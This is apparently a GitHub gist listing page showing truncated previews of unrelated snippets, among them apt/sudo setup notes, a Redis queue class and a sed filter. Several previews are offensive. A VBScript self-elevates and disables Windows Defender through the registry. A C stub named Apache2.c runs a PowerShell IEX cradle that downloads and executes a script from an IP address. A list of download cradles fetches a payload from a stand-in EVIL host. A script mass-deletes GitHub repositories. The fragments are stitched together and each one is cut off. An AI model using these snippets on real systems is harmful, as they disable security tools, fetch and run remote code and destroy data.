This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Sudo without password | |
| sudo visudo | |
| username ALL=(ALL) NOPASSWD: ALL # At the end of the file | |
| # Get the latest updates | |
| sudo add-apt-repository universe | |
| sudo apt-get update | |
| sudo apt-get -y upgrade | |
| # Manage the repositories that you install |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| $code = @" | |
| using System.Net; | |
| using System.Reflection; | |
| using System; | |
| using System.Threading; | |
| namespace Nyan | |
| { | |
| public class Cat |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| If Not WScript.Arguments.Named.Exists("elevate") Then | |
| CreateObject("Shell.Application").ShellExecute WScript.FullName _ | |
| , """" & WScript.ScriptFullName & """ /elevate", "", "runas", 1 | |
| WScript.Quit | |
| End If | |
| On Error Resume Next | |
| Set WshShell = CreateObject("WScript.Shell") | |
| WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware",1,"REG_DWORD" | |
| WshShell.RegWrite "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring","1","REG_DWORD" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Based loosely on the Redis Cookbook FIFO Queue: http://www.rediscookbook.org/implement_a_fifo_queue.html | |
| from redis import StrictRedis | |
| class RedisQueue: | |
| """ RedisQueue helps store urls to crawl to Redis | |
| Initialization components: | |
| client: a Redis client connected to the key-value database for | |
| the webcrawling cache (if not set, a localhost:6379 | |
| default connection is used). |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env bash | |
| # Script to reverse engineer the build of a given Debian / Ubuntu server | |
| # I do this all the time: take an existing server, create a Bash / Ansible / Puppet / Chef | |
| # built script, to allow Continuous Depoyment. | |
| # It's tedious, but this script will give you the basics to get started. | |
| # Make sure you have "sudo" access to get all the details. | |
| # setup folders |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| #eg. | |
| #bash d2 <(echo -e "1\n2\n3sa ssds\n") <(echo -e "salam 1 OR 2 OR 3sa sss ") | |
| LIST=${1:?"LIST word"} | |
| FILE=${2:?"FILE name not set"} | |
| L=$( sed -e ':a;N;$!ba;s_\n_\x00_g' ${LIST}|sed -e 's_\x00_ \\|_g' -e's_\(\\|\)*$__g') | |
| P='s_\('$L'\)__ig' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/bin/bash | |
| token="Get from Github" | |
| # Gets a list of the repositories you own (not ones granted through organisation) | |
| curl -H "Authorization: token ${token}" https://api.github.com/user/repos?affiliation=owner | grep git_url | sed -r 's/( "git_url": "git:\/\/github.com\/)//' | sed -r 's/.git",//' > url_list.txt | |
| # Deletes all the repositories it found on the line before | |
| while read r;do curl -XDELETE -H 'Authorization: token ${token}' "https://api.github.com/repos/$r ";done < url_list.txt | |
| rm url_list.txt |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /* Apache2.c */ | |
| #include<stdio.h> | |
| main() | |
| { | |
| system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('http://192.168.100.147/ps.ps1.txt '))\""); | |
| return 0; | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| import os | |
| import sys | |
| import re | |
| import subprocess | |
| import urllib2 | |
| import string | |
| import random | |
| import hashlib |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # normal download cradle | |
| IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1") | |
| # PowerShell 3.0+ | |
| IEX (iwr 'http://EVIL/evil.ps1') | |
| # hidden IE com object | |
| $ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r | |
| # Msxml2.XMLHTTP COM object |
NewerOlder